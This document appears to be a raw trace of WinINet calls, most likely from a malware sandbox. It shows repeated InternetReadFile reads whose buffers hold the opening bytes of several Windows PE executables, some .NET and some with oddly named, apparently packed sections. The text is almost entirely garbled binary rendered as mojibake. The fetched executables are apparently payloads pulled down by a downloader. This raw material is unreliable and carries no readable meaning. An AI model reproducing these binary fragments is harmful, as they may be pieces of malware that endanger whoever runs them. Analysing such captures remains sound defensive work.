ª%Þh<ËLlÿ¡†˜ºÆ3»ýµrìyçÀ²Z¤_LÕeF_)$šFIËyKÒdY¥$h挔?$äÖItOp{"Ð&!™Ûèò¯™`ýÇ!:6BšFs$'.²ø‡”Ü ø ßŸ0¥1yà ³ÃÄ©fcö=“ ìN,S3bÓ. ˆv„Õb’Ó¿>Úßo|e÷Ð”È 0¸JªÐ˜¥xËT7š½2”Ù~§… _Ž oáÁIœM 1G§Žåî^³ò” æµmœÏäZÃï T>,I'Èj°ó4mç©J–U=ù‡¾nÅ*ÎY&£;ûA‡! I óòEYr{îõŨª·Õ*ôòËñœA]A>R)ÓŠ?\ø‡Ô×´,ÔÓ´íÙ±¸Ïa$å-À£N-é‘ËŽrx+v²J,¹Áæ‹OÚ³vòz'CzÎÞ¢ô0;dçÈëv"Ü xò‡%çìH-ÛÂÄKÈb†È6>tÒæy7Ta/‹‡ÅÇCT´3V£²¶G\ LýÒÛY=Ô¬@ >ÄÝáÑ›Út›öI(™hö'X@’ëR(ß©é
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL‰¡$eà. 0æ¾ @ ``…pK ˜@ $  H.textÄä æ `.rsrc˜ è@@.reloc @î@B H(…´XÜÝ`$0]+(êfAV~:K€( è  s ( þþ ( ( ? rps z*6+(ãc(*N+('Ö}k(’( *j+(¥¯G3(’( }*0@s @ (&*0d ?(  ~ ( :F Q4ý¡f a~™{–a(3 ( %( & Ð( (&(&*0‡( ~  8cš o GöE¥ Ô;^ìa~™{–a(3( 90 o (:*(&( o (&X Ži?”ÿÿÿ(&*0ˆ( ~  8dš o E‘V' c ûła~™{ja(3( 9+ o (:*(& o (&X Ži?“ÿÿÿ(&*0 e ?(  ~ ( :G.( þ %( &%~ ( & Ð( (&(&*0_~ o :~ o! o" 8o# ; o" Ý 9o$ ÜÝ&Ý* 9F XX0¹(((( if§Å Ï!¥a~™{¢a(3( qÓ@ µ6,a~™{¨a(3 ›×ï÷e Î]Æ+a~™{Qa(3 œŒFç S%pƒa~™{¤a(3( ú×á% Zûa å÷a~™{La(3 *ˆõæ D€åËa~™{Sa(3 í.êÀ c ·ý£a~™{ea(3( R¡nÜ ó”a~™{›a(3 §0šF ¥ŠX ¿Áa~™{Za(3 ï…#e /‹Åa~™{wa(3( Õlƒ1 Rè 1a~™{€a(3 ?YËQ ›ÄÔSa~™{ja(3 ä—h^ » £a !¹†–a~™{”a(3( ?YËQ ß7a~™{—a(3 Óª#D H·ýa~™{ka(3 a°‡8 Ž|œqa~™{–a(3(  ßf ÄÈ2a~™{La(3 ¦¨è# µ6qa~™{ka(3 Ñ`܀ 0Ù Y -UR1a
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $CÔë캸캸캸L”¹¹ 캸L”¿¹Æ캸L”½¹캸HG¸캸H¾¹캸H¹¹캸H¿¹R캸L”¾¹캸L”¼¹캸L”»¹캸컸íº¸Ì³¹캸̐E¸캸ì-¸캸̐¸¹캸Rich캸PEL·¹°eà "šjXN°@0N@€PDœ@ø=PD h[8 *@àp°.@à@ L@àP`T@à°V@à.rsrc@@>V@àÐ/€”@à.dataà PDØ ”@à…´î°ÍˆÄ8Ž«Ž¹;c¡´´ܯñ䣫XWI9‡h@ݾÊM˜©a¿5 Á ˜Ia·¢ƒìƒ¿†ÐÇ7Å=ª<«*†œ½ôÀFÑršÐêíB4<TlAÐU [G™7yŠìpq¼eÿƒ…úmXϓ¾_Rk¦ÜƒÙ4Ÿâ ‹…º5b„ç÷öãLP8øÙmŠ«°ÂíìkÒDl\å”Ë?FҊ§%ž¬Ò}9Nù:T@ƒ,^?²)c Å°Ì€táqˆ°Q«yýTÆ[ªÐcS[v‡ ‚0¾r|OCyÅðÍb mÍc#ÂP'®a”s³QhP/þTkJŸ?[.ät!_âÒ?ßì73LE –ßÉiÔ¼»tLŠÌ;¯HáãçM­x™v’±·§„y1ó“ÆÉä1*­E|Ù/þUï TÐçÖKWF™µõÄ#„P;|‹žŠC\|$Ò]mKHQv4µÄ˓' Ñp;²“T¡*µQ&ò7mP-jUJ7YT¼Ÿ~TOönþçÞ҂֤JÓÙ8iGCЧÕ^@ِ5g^²áAžGJû¦}PÀI wù–‹úgZ9à§}ŒÂ̈́d‡#À½½ñCg´¿ÉÏø§Ð éziïŊúÐ`dÛæ{-Ô+Ji£ëœêÓa€&”’ôoK×ãØB~3o< ‘ YB£éÕ>ê‹›l “gG¹7 0ô£àŠå7o¹íràó›¶G<\«§{S·ÊV²úœ^+?VÀ†ûzÖ %Œu&ÑõúÝIÝ·j”Xc›|½ü5å±)p&a…f7ÌêËIìŠBok”…Â'ªV¼ø¡k{(ýŽLHçQ©„&õP51ø}6I "Šž­Àȯxm| ‘#axpaà<ÅÑp¼ÖV~É֏œ[‰äƒ“Úg3ÿÛæǂëY®/mÜ]â¤×m“i?;šÏüZ½ù’Êá@&/À^(”`ZŸü:›Î Úf®ÉhK3òzÆ°Qd´Ó?¸t6-ÈãrŸM£TEõGŽ—^ãÎç©Qå4×°%ªD9Ð"¨L>H̸)<hAóó`ûö«òÓÿèAV.Ò4´¥f¸*9 C`ÁŸH2, eR­¦ƒ¿”w-á'&«‰¸Q&Lj ñó2¥>ªƒ¥Õ¥—þm²M³ëª«Úÿ#?]ъ‡K&ŸpéýhQë^W ‹X¢ž®3/¡;°.ïýLëP§GŽŠ«tªÌÒróþ:I°­ˆ+LBHLOdJÄúåƒKP`hG‹nE¯â;À3þäzÔB̋¹LF×oš TÃ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $šÇƒ®Þ¦íýÞ¦íýÞ¦íýj:ýý¦íýj:ýC¦íýj:ýý¦íý@*ýߦíýŒÎèüó¦íýŒÎéü̦íýŒÎîü˦íý×Þnýצíý×Þ~ýû¦íýÞ¦ìý÷¤íý{ÏãüŽ¦íý{Ïîüߦíý{ÏýߦíýÞ¦zýߦíý{ÏïüߦíýRichÞ¦íýPEL7f³eà" ¬ JwÀ @PhD@€@@dŽ |@ àÐ ”uð 4  @À ”.text« ¬  `.rdata‚ûÀ ü° @@.datalpÀ H¬ @À.rsrcà@ ô @@.reloc”uÐ v„ @B¹t Mè8ýhé#DèðYÃhó#DèƒðYÃèæÞhø#DèrðYÃèY<hý#DèaðYÃQè©h$DèOðYá0MQ‹@0MPèã#h$Dè/ðYÃèÞ%h$DèðYÃè®çh!$Dè ðYÃèA2h&$DèüïYÃèPÁh0$DèëïYù%M蝘h?$DèÕïYÃV‹ñN贇N謇j(VèâìYY‹Æ^ÂU‹ìƒì8Ç0MtÉI3ÒÇœM0ÉI‰ M‰¤MVQf‰¨Mèo¡0M‹@ǀ0M\ÉI¡0M‹H”ûÿÿ‰,M3À¹¸M£ÌM£ÐM£ÔMèY ¹èMè헹øMè㗹Mèٗ3À¹„M£TM£XM£\M£`M£dM£hM£lM£pM£tM£xM蛗3ÀǬM<ÉI¹M£”M£˜Mf£œM£ M£¤Mf£¨M£°M£´M£¸M£¼M£ÀM£ÄMÇÈM@ÉI£ÌM£ÐM£ÔMÇØM@ÉI£ÜM£àM£äMÇèM@ÉI£ìM£ðM£ôMÇøMDÉI£üM£M£M£M£MÇMèϖ¹(Mè€ÇM<ÉI3Ò¹M‰M‰M‰ M膹@M蓖3À¹„MP£`M£dM£hM£pM£tM£xMèGMÈè$P¡0M‹HÁ4M薍Mè胼MÈè{¼3ÀfÇ0Mjö£,M£ M£$M£M£M£(M£€Mf£lM¢”M¢}M£\MÿhÂI‹ð…ö… 3҉|MèÂRÿhÈI¸0M^É¡0M¹@MV‹@ǀ0MhÉI3À£4M£8M£<Mè+¹tMè!¾¨M‹Î腕h ÉI‹ÎèoW¸0M^ÂV‹ñNèe•Nè
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $CÔë캸캸캸L”¹¹ 캸L”¿¹Æ캸L”½¹캸HG¸캸H¾¹캸H¹¹캸H¿¹R캸L”¾¹캸L”¼¹캸L”»¹캸컸íº¸Ì³¹캸̐E¸캸ì-¸캸̐¸¹캸Rich캸PEL·¹°eà "šj¨N°@0N@€PDœ@ø=PD h[8 *@àp°.@à@ L@àP`T@à°V@à.rsrc@@>V@àÐ/€”@à.dataà PDÖ ”@à?œÄ”HktÔǘ¾@ªjXT¹¸tx>¡ÝAü.Îþ¾ùùËô8õ”r`¨“s¸ªë\c놐xb jmÁ\œVWvä·ýïýtq&÷{‚O ê#Oßx÷ µ— LDŽw’Ó¨ëç-DG-cñþd6‹ø”ø( S}šT¼¡sa2èg/x©ƒ™¸ÐƒÄ"®Ýöƒœ»<®Œ”5µÙ›'1àˆSÝr+ˆ“S1ôøžùg«"ò˜| Ç,ä<÷sÚ&À½žËyЯ×Iƒmæ5iÁęþ{«êòØQóu«Ëâ²û/†r¶à'‘ÁXûiK%œºDŽ >¤x¥„aoµ¸En îgéá“Nç ÷ÿëE$Áў›BТÃÔ1…‡Ábö°cøñ jB@^–}¶®Q”Úܤ÷_r(ß@?s@Ëfú§î7JÖ?6Þ7”¶þ‹”ûW¿pÇwÐÇ¢†ï ábo!ö¶|EË5(|ÇÔjٓÿ—*R÷ÓhsÁ2¾bDYÄÚP ócìZÍø@ԉçÀ4SN,ed}MË÷óg¿¹¬^Þôœ ÜցYÒر!AíÐ(¶1(Sæ†.œ\í…%U¹”þÝֆ ÌGÜ=ÙòíЕ²1 Q²&±KźÔ£àX÷DהqàˆczëÂdD9Ž 왂éþ†AGFÁß Hýòlú@VþL®¡æŸ”Ö̉`$¥¯úñy:ŸÜóøAWÊ:'ˆ‰ÝÈ¢Œò·Phù²à¢þ«®1ƒÊ*ðù¤‘WSkmŸ¶Ê…6&éC¬ ómçځî".Vv-ÝfNN᧕–fiE,Öê§î“H¥+né‹uhLÚÝϹoØ}nþýOÈ·•)›,‚¢/†ÿQ‰ôv€Þ¨ÄÌŸƒY‡ Íkp¦™{ĝ¢Æ(™šÓƄ©¾I?70;\x O†µAÁ$yn.xÒYá0¼±.'‰ÇÇp–èÁý½úŽ_¿£  ùxŠÇ[Î"öΌø(¡ç8îœN]bùÆÅê7ƒ~ÝÎd´GÝ´òsë)6ôJ‰ Ø6äyu™]ôL)†ðNâòvðn º¶ 1¿³‚™$Àyï û+®sçD~±o×ôeª8içVÐ*Î6#âí¤ŠzêÌmœÖ¹q“)ò ƓO±ér:aÚ¬X-F¡;‘.–vð­N$‰w¥£·ZåÌÖnK fZ©c{سøç½âíÓ¤Uü—ðÙ áò_e‹È"Báâ¸>¶‚Úæ'MdZ‡å@¶Ñ„‡°*‚ŽFPBð`èü䛫Ù`d|Tp¼¤³2o8G;˜6Ä°šÐL§VÔjÇéP*–]‚]D‹Kµ€÷`•˜\ ¥Þ¨y&aÄdÃ*BRٝ[‰úQÛ]f’Ç.¨c$öéB¥!VoHÞÿùR*´±“$Ãâ¨F›<(è&#&Š¥‘*óßßåmgIŠ»7‚Wsy}°¨> [ÊUî{óǔJˆåØ_Stv©=‚íá6÷¢ ´ÇGêŠÂpÂr<þ ð¨r&ÃXÒ³Ñ=:]+rÅ *ž*¼ï9üâ*gû[ ‚ïÇ®SG,Ÿ;Û](<”¦œË÷%ØË{CÌyCû9¬Z%Bß<Ð;¡åû §^mÑF•á=]sÌJ‚@íÅQ6ÍÔÍ÷ŲÐõðŒs˜(u?¦ÎpµSÓ.;óôæxåÆé,>ÄÃøúÁª¢7QE—ô‰hcp»°øGí'öÁE;J/îqIUJm¡ÿÀ¥úª«´h^ª µÑø.UCÎ/ vŠÌªiNê Ré3ü·Oùïl²Ý¼ñC <`Òk¨éI‹”ÈuF5ú‚w',æ‰Ô³€ “Èçd)˜ÊP7sSñ‚æäÊ£ÅmåÁ,·Ó³Ô×W5ì8ëch3Љ«_ŽÐ„ë¼ B$ňúI“ÿwÂúƒ8+]¢³¾O#ЫɝHbc=÷ó¾ kˆÌã{~‘f–mߐð ÅÐÍóÓ µ;4m«Ü)ðÎ}¾´í ˜¥v9Ì.Ç4‰Uu܍'@ââi–Ôñµ„];˜'ÕÒÓÃ(ú·î«Ìэ]•h^¨*?Îv›A.êÐð¸(E‹¢Lì•x„‡oÜöiqYy7~ù’¢j?ÇÐAì>Ç؄Sö.,Ìè ûc^Ì3ùò.µ{NaO°¸Äÿ-…âiPαñË.Eîg°BT‰!g8sá!làzÕék?Gm§Aï D<GˆAžGO+þ›³;¯[k§Ñ ±Dò…f‰ïÕ猾5ŸAÁ̯0qÈ32í‘å¼[+Ë¿Ò7‘u¦%U©ù”æu šOÅÑYfà6¼=­glºnJƒÀĐs:þ|¦ – ±$×:H֛Y·rVó!)#‘uÆzæîèù%Ámû€=/¹yZ8øfN®¡”•!ã{èöGº,ÉÆ{wœ´pìL¸‡. já.«ãv ãv>XvxNìH.÷MC€JŒ#êÇ-wyñˆ4GÓ à@ܐþ0n`JtÝ> "á—ogršDÚ/hTý• ±Ä§b̄§ÏÕÝÃÕ¿"ž ? h:¸¢º²#öԒÒF5ñvÀ'ÂʪkjATÚËÀhÐ-$KÃ[ß=¯¦i3?eÔ³³ˆèX`̽¬;A·‹bŽ*È]%’ª„ò'uôü×2ÂÀ0Ќ:ºïÍèÞõ¨Ô6ö iŠ¶¹7Mfjou§º“Û¼%•´rÍ»åÃUùÌæP$þXè¥Ývg¦Zo.€˜øeBá7Vpç×*HÞ¹;¤f‡Ú‰íùA0qÀ¶œNK¬¿ç®3x{^ Žë- /t*>ó‹ 8—Ý™"¾ ƙöÛWí“3Æ*Uöҍ’ÌóCÜÁ²SÕɶի´iƒVyOÎàt˜[žöò,Rš+Âý#H:eoM´ó< Ø&.I~ÛY eºû8ïh¤J÷ f`êÍZ`ŠôI gÈ®ºJ‘LÃôpøTvûY@·.[@ÓÅ|iÁú½º›ž„‰Ï®YØ|©¸¸ívOß E®Ï›+ˆ4«èÔ¸Àd3ÎmVwûáâ†y̶"(³´`7_ð:,^^ð°ê0[BÝ@â!?ûË2µÝzï¡ÂïŽæïî Ô«a¸ø¢Xm(vŽn)¼–@ÕÑÔ™ å¡éп/¯Ó3nR!,¡ê1®F!®ôШ7éT×óZY—ÞÉ!¥ì’ŠâoK¿ƒw :pª2ŸntFv ¦·Œ¡,»u´­?Q³`½ìQ§Î:Nìn0Ž çŽ| ¨¬ç°U@MÈïðBs|ú[ÓÂü̶v9n,v;spjÌfÂd+ÏeA5K¾ŽäGð6õŽ0‘"µp‡dq˜¢”ÎPšå €gøn8ÜP!+ív¶ó °Z§°¡I^“A¹ýÐ\ÝI¤ÓùJvWÌQLèßâÀ‘Ñ|^¢yIî8ç3BGKCnZîáËÈF1þÃä&›!–C¼ûâ&fbÏ:5¸6í ÕÖÆÏd«o“w’KþS”m‹¿Ñ‡²»_cϦ–õ +4m¬FCZ†­‘/•‘׺Ã7¡Þ h¯‚_1e7$ý@&[Q?%…ìvˆc$˜˜èP“„+órpOHb4]ØÎ)s#~Dɨ26(ۘ#³“°•ùô0Öuv°Ä<üuwúL³!0ä!t…::°üÉ’ÕêlM±‘ð2«e¶Èŋ2…ûïM¢ðNG< ÛT¡Îßé3Q¤ól@ëtwBÉ·ˆ#éçÊ÷rhúÔÜøÓ&ZÀ<eWšßÄWΚ\q¤¥ÕÂ7ƒpÂoo®Í´e¾¯m:ùÀ|¸Ùðkñ­|áݶStC‹I1gjŽ;œvé®O,ðùh£%¢JMçå»GþD… 6žQteD¢Ì©šu
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $Ïå䅋„ŠÖ‹„ŠÖ‹„ŠÖ•ÖÖ®„ŠÖ•Ö֟„ŠÖ•Ö Ö܄ŠÖ¬Bñ֏„ŠÖH‹×ֈ„ŠÖ‹„‹ÖӄŠÖ‚ü֊„ŠÖ‚ü֊„ŠÖRich‹„ŠÖPEL¤0²eà  Ú~Ÿ@P €€ Cì%PQ H),.textC³´ `.relocšÐ¸ `.xvbqzZ ð Ò `.rdata¨,.Þ@@.dataN0B @À.wTZnЀ QÃN @U‹ìSVWÁÊwO÷ï¿+ƒÀ÷ÛÁÖÅF÷ցÂéË÷ØÁߺ¸ÞƒãNO÷ڃæsƒÃÃÊÁÇW¸5ƒè1÷ëÎÁÀ9ïÛJ·æµ÷߃àƒÞ<ƒè|ÁÏsF»YÁ›ÁÛÀÁØëOÏÁÇò÷×÷Û÷ë÷Û÷îßþÆò3É3ÿ¿Žʃë}÷×ÎÁÆ¢÷ë÷븁Έ÷Ú÷ßGÁмJOH÷ÐÊH¸ ºˆ÷Ø÷ë÷êÁÒÛ÷ÓÁÈ$JƒÏVÁÓo÷èGÛÇÚ¸nÁÎßÁÓCÁƱFº-÷Þ¿òÁÒGÁÊCçð÷Ó÷ÖÁÐû‹M ÷îB˃ÀDÁˎ÷ށÇé÷êÁËÊÁÒ>ÁÏlÁÐOÁǐ÷Ó÷è÷Óº¤ƒËÑÂ÷ہÊôÆÁƒÚ÷îKOJ÷Ёîð÷Ø÷ïÁßöî›÷ÒH÷ÓÊ΃Ø÷ëÁȬÁÇ}ÁÏÆ÷Ú÷߃ º3÷Ðȋ}3À3ۋÞ3Æ3ދÀ3ð3Ø3Þ3ދØ3öö3Æ3Ø3؋Ã3À3ËØ3ö‹ó€—3Û3À‹Þ‹Ã3ۋދó3ó3ó€/V‹Ø‹ó‹ó‹À‹ó3À‹ö‹Þ3Æö/Gâ«_^[]ÃÌÌÌÌÌU‹ìƒì Ù AÙ]èÙœAÙ]èÙ˜AÙ]èÙEèܐAßàöÄD{ÙˆAÙ]èÙ„AÙ]èÙ€AÙ]èÙEèܐAßàöÄD{Ù|AÙ]èÙxAÙ]èÙtAÙ]èÙEèܐAßàöÄD{ÙpAÙ]èÙlAÙ]èÙhAÙ]èÙEèܐAßàöÄD{ÙdAÙ]èÙ`AÙ]èÙ\AÙ]èÙEèܐAßàöÄD{ÙXAÙ]èÙTAÙ]èÙPAÙ]üÙLAÙ]üÙHAÙ]üÙEüܐAßàöÄD{ÙDAÙ]üÙ@AÙ]üÙ<AÙ]üÙEüܐAßàöÄD{Ù8AÙ]üÙ4AÙ]üÙ0AÙ]üÙEüܐAßàöÄD{Ù,AÙ]üÙ(AÙ]üÙ$AÙ]üÙEüܐAßàöÄD{Ù AÙ]üÙAÙ]üÙAÙ]üÙEüܐAßàöÄD{ÙAÙ]üÙAÙ]üÙ AÙ]ìÙAÙ]ìÙAÙ]ìÙEìܐAßàöÄD{ÙAÙ]ìÙüAÙ]ìÙøAÙ]ìÙEìܐAßàöÄD{ÙôAÙ]ìÙðAÙ]ìÙìAÙ]ìÙEìܐAßàöÄD{ÙèAÙ]ìÙäAÙ]ìÙàAÙ]ìÙEìܐAßàöÄD{ÙÜAÙ]ìÙØAÙ]ìÙÔAÙ]ìÙEìܐAßàöÄD{ÙÐAÙ]ìÙÌAÙ]ìÙÈAÙ]øÙÄAÙ]øÙÀAÙ]øÙEøܐAßàöÄD{Ù¼AÙ]øÙ¸AÙ]øÙ´AÙ]øÙEøܐAßàöÄD{Ù°AÙ]øÙ¬AÙ]øÙ¨AÙ]øÙEøܐAßàöÄD{Ù¤AÙ]øÙ AÙ]øÙœAÙ]øÙEøܐAßàöÄD{Ù˜AÙ]øÙ”AÙ]øِAÙ]øÙEøܐAßàöÄD{ÙŒAÙ]øÙˆAÙ]øÙ„AÙ]äÙ€AÙ]äÙ|AÙ]äÙEäܐAßàöÄD{ÙxAÙ]äÙtAÙ]äÙpAÙ]äÙEäܐAßàöÄD{ÙlAÙ]äÙhAÙ]äÙdAÙ]äÙEäܐAßàöÄD{Ù`AÙ]äÙ\AÙ]äÙXAÙ]äÙEäܐAßàöÄD{ÙTAÙ]äÙPAÙ]äÙLAÙ]äÙEäܐAßàöÄD{ÙHAÙ]äÙDAÙ]äÙ@AÙ]ðÙ<AÙ]ðÙ8AÙ]ðÙEðܐAßàöÄD{Ù4AÙ]ðÙ0AÙ]ðÙ,AÙ]ðÙEðܐAßàöÄD{Ù(AÙ]ðÙ$AÙ]ðÙ AÙ]ðÙEðܐAßàöÄD{ÙAÙ]ðÙAÙ]ðÙAÙ]ðÙEðܐAßàöÄD{ÙAÙ]ðÙ AÙ]ðÙAÙ]ðÙEðܐAßàöÄD{ÙAÙ]ðÙAÙ]ðÙüAÙ]àÙøAÙ]àÙôAÙ]àÙEàܐAßàöÄD{ÙðAÙ]àÙìAÙ]àÙèAÙ]àÙEàܐAßàöÄD{ÙäAÙ]àÙàAÙ]àÙÜAÙ]àÙEàܐAßàöÄD{ÙØAÙ]àÙÔAÙ]àÙÐAÙ]àÙEàܐAßàöÄD{ÙÌAÙ]àÙÈAÙ]àÙÄAÙ]àÙEàܐAßàöÄD{ÙÀAÙ]àÙ¼AÙ]àÙ¸AÙ]ôÙ´AÙ]ôÙ°AÙ]ôÙEôܐAßàöÄD{Ù¬AÙ]ôÙ¨AÙ]ôÙ¤AÙ]ôÙEôܐAßàöÄD{Ù AÙ]ôÙœAÙ]ôÙ˜AÙ]ôÙEôܐAßàöÄD{Ù”AÙ]ôِAÙ]ôÙŒAÙ]ôÙEôܐAßàöÄD{ÙˆAÙ]ôÙ„AÙ]ôÙ€AÙ]ôÙEôܐAßàöÄD{Ù|AÙ]ôÙxAÙ]ô‹å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìVW‹}‹u ‹Mó¤‹E_^]ÃÌÌÌÌÌÌÌÌÌU‹ì‹EP‹MQ‹U R‹EPÿHA]øè*@£bIÇbIÏ!@ÇbIƒ!@Ç bI¼!@Ç$bI%!@£(bIÇ,bI`*@Ç0bIA!@Ç4bI£ @Ç8bI0 @ËÿU‹ìè–ÿÿÿèkƒ}£$rItèòÛâ]ËÿU‹ìQS‹E ƒÀ ‰Eüd‹‹d£‹E‹] ‹mü‹cüÿà[ÉÂXY‡$ÿà‹ÿU‹ìQQSVWd‹5‰uüÇEø¢@jÿu ÿuøÿu訋E ‹@ƒàý‹M ‰Ad‹=‹]ü‰;d‰_^[ÉÂU‹ìƒìSVWü‰Eü3ÀPPPÿuüÿuÿuÿu ÿuè ƒÄ ‰Eø_^[‹Eø‹å]ËÿU‹ìVü‹u ‹N3ÎèbjVÿvÿv jÿuÿvÿuècƒÄ ^]ËÿU‹ìƒì8S}#u¸ß@‹M ‰3À@鰃eØÇEÜ @¡„bIMØ3Á‰Eà‹E‰Eä‹E ‰Eè‹E‰Eì‹E ‰Eðƒeôƒeøƒeü‰eô‰mød¡‰E؍EØd£ÇEÈ‹E‰E̋E‰EÐ艋€€‰EԍEÌP‹Eÿ0ÿUÔYYƒeȃ}ütd‹‹‹]؉d‰ë ‹EØd
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL,«²eà  ¾~Ý à@  `…0ÝKàÜ äÜ  H.text„½ ¾ `.rsrcÜàÀ@@.reloc Æ@B`ÝH ”"  ¡ P0j~:_€~,( è  s ~-(!þþ ~.(%~/() ? rps z*.(8(*0Z    8'~0(-œŽi]‘œÝ&ÝX  ?Îÿÿÿ  8/ ‘X‘X ] ‘ ‘œ œÝ&ÝX  ?Æÿÿÿ  8³8›X ] ‘X ] ‘ ‘œ œ‘ ‘X ]%q‘aҁÝB&   8    Xž  ”Z~1(1 X   Ži?ÕÿÿÿÝXŽi?[ÿÿÿX?Eÿÿÿ*(:m}Ç2ùB 0Ò 8Ãd> ,< Z~1(1P%q ®XҁP%q ¯YҁP%q èXҁÝ&ÝZ~1(1 ~3ç lâ•úa òrµêa~Ö{óa~2(5~3(9P%q šaҁP%q@XҁP%qCYҁP%q ¸XҁP%q0aҁP%q ¢XҁP%q YҁP%q ˆaҁP%q.XҁP%qXaҁP%qNXҁX ?6þÿÿ*'Sz0] nœ³u ûR;a~Ö{Ça~2(5s&;-s  ~4(= Ži< Ži=s &*n~5(A~6(E( *Ò~5(A~6(E ¬%Ð ~7(I€*0L~5(A~6(E ( : þs ~8(M ~9(Q9ðÿÿÿ*VC ZX**0! ~Ži~:(U~ ~ ~;(Y~~Ži@~<(]& n8Bä Ž“ûa~Ö{Òa~2(5 b¹ñ ʀ׀a~Ö{òa~2(5 ±– Õ 0a~Ö{ëa~2(5 ~=(a~>(e Œ|5X xÒa5a~Ö{*a~2(5 y%¼‚ b uªËa~Ö{a~2(5 †,ßãf ù>la~Ö{õa~2(5 þTaÁ jcUÕX ØÔïÄa~Ö{a~2(5  œZé= \ôçX ’‡‘;a~Ö{õa~2(5~?(i~@(m  (+  8[ ~=(a~@(m  (+~ ˆ~ o o& X  ?ÿÿÿÝz*A2~A(q*{*"}*ž~5(A~6(E( ~B(u*n~5(A~6(E( *0P~5(A~6(E%Ð ~7(I€  ä%Ð ~7(I€ *0~ X~C(y ~D(}  8Mš ~ ~E( X~F(…t* ~G(‰t~H(X Ži?ªÿÿÿ*n~5(A~6(E( *ö~5(A~6(EÐ~I(‘~J(•~K(™€*0W€5Ð( o €@%Э( €(€€€)€s €€2s €&€'€€ €~ €~ €6€€€/€4s €€,j€-€€j€€#€%€€$~ €!€1s €3€.€*€€€+€"~ €0( Ý&Ý*E P*0 W ÀŽiZ ]Y X ]: Žij\nXjXm ŽijjZ    8  ‘œ X  Ži?èÿÿÿŽi%G €`ÒR 8$ n jYÔ  YZ?_d ÿj_Ҝ Y  =ÔÿÿÿŽiZ \ #Eg ‰«Íï þܺ˜ vT2 8 b89dXX‘bXX‘b`XX‘b`X‘`žX=D¾ÿÿÿ ((  (( (( ((((  (( (( (( ((    ((   ((   ((  ((   (( (( ((()  ()  () ()()   () () ()
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $h„-,qê~,qê~,qê~2#~?qê~ ·‘~+qê~,që~\qê~2#n~qê~2#i~¢qê~2#{~-qê~Rich,qê~\²ePELt¥Pà#  ˜ /Í°@  û;€´P``= À±  @°„.text—˜ `.rdata´m°nœ@@.dataÀ0  @À.rsrc`= `> @@‹D$-€÷ØjÀjƒàÀjPÿ°AÌÌÌÌÌÌÌÌÌÌÌÌÌÌÿ°A…À~ %ÿÿ €Pè¶ÿÿÿÌÌÌÌÌ̋L$2ÀAºVI¶qÿ¶ÀÆ%ÿ€yH ÿÿÿ@¶1¶ÀÆ%ÿ€yH ÿÿÿ@¶q¶ÀÆ%ÿ€yH ÿÿÿ@¶q¶ÀÆ%ÿ€yH ÿÿÿ@ƒÁƒêu^ÂÌÌÌÌÌÌÌÌÌƒì €|$‰L$…ÀSUVW"2Ò3ÿÆD$ 3í‰D$ëI¸;ø+¶t$ ‹ÿ¶œ¶ÒÞӁâÿ€yJÊÿÿÿBH;Ç}ÜGç€ÆD$yOƒÏàG…í|2f¶Ú"uf;u ‹L$ÆD$ƒîuè€|$uþD$ 냋D$f¶òf‰0Eý‰D$Œbÿÿÿ_^][ƒÄ ÂÌÌÌÌÌÌÌ̃ìSUV¾W3Û3ÿ‰t$Cãÿ€yKËÿÿÿC‰\$¶™ t>%F‹ÆG%€yHƒÈà@¶„ÃǙ½ÿ÷ý¸Bf9„Q"ű\$3À”Q"4æÿ€yNÎÿÿÿFÁæ f‹´"f‰2@Â=|ыt$Fþ‰t$Œ[ÿÿÿ_^][ƒÄÂÌÌÌÌÌÌÌÌÌÌÌÌÌSU¸·ÐV‹ñW‹ÂÁ⍮" ¹€‹ýó«‹|$W‹Îè þÿÿW‹Îèøþÿÿ3ۋþ‹Õ‹ÿ3ÀŠ ˆ ¶ÉÁÁáÈ@ƒÂ=ˆ1|ßCÇû|Î_^][ÂÌÌÌÌÌÌ̃ì8S°ˆD$+ˆD$/°ÕˆD$0ˆD$1ˆD$3UV‹ñ¸ þÿ+ƉD$¸ þÿ+ƉD$¸þÿ+ƉD$³2¸þÿ+ƈ\$2ˆ\$A‰D$(W±» þÿ¸þÿ+Þ+Æ¿þÿ²Y+þˆL$8ˆL$BˆL$GÆD$4xÆD$5aˆT$:ÆD$>fÆD$A3ÆD$C½ÆD$DtˆT$FÆD$@ZÆD$9bÇD$Ž‰\$‰D$(‰|$0ë‹\$ù‹Ç™½÷ý ƒÈ»¶l4™÷û¶D4¯Å‹×âÿÁâÕ¶2Ç3Â%ÿ€yH ÿÿÿ@ˆ‹D$™÷û‹D$ÁƒÈ½¶\4™÷ý¶T4¯ÓD:‹T$âÿÁâÓ¶23Â%ÿ€yH ÿÿÿ@ˆA‹D$‹Ã™÷ý‹D$ ÁƒÈãÿÁã¶T4‰T$$™÷ý‹D$$ضT4¯Ð¶3T:3Ёâÿ€yJÊÿÿÿBˆQ‹T$( ‹Ã™÷ýãÿÁã¶D4‹T$,‰D$$ ƒÈ™÷ý‹D$$ضT4¯Ð¶3T:3Ёâÿ€yJÊÿÿÿB‹|$0ƒD$ˆQƒÁƒú Œžþÿÿ†P‹Îèûÿÿj‹Îˆ† è9ýÿÿ_^]°[ƒÄ8ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹l$ ƒýW‹ùŒÚ‹D$ V‹t$UPVè^šƒÄ ƒýu ¶¶— ÁÁáϊ ˆ^_] Mÿ3À…É~-Së ¤$I¶0¶\0ÂÁâ׊ˆ0@;Á|á[¶‡ ¶T.ÿƒðUÂÇÁ⊈D.ÿ‹Áƒø|(덛¶0¶L0ÿÂÁâϊ ˆ 0Hƒø}බ‡ ÂÁâ׊ ˆ^_] 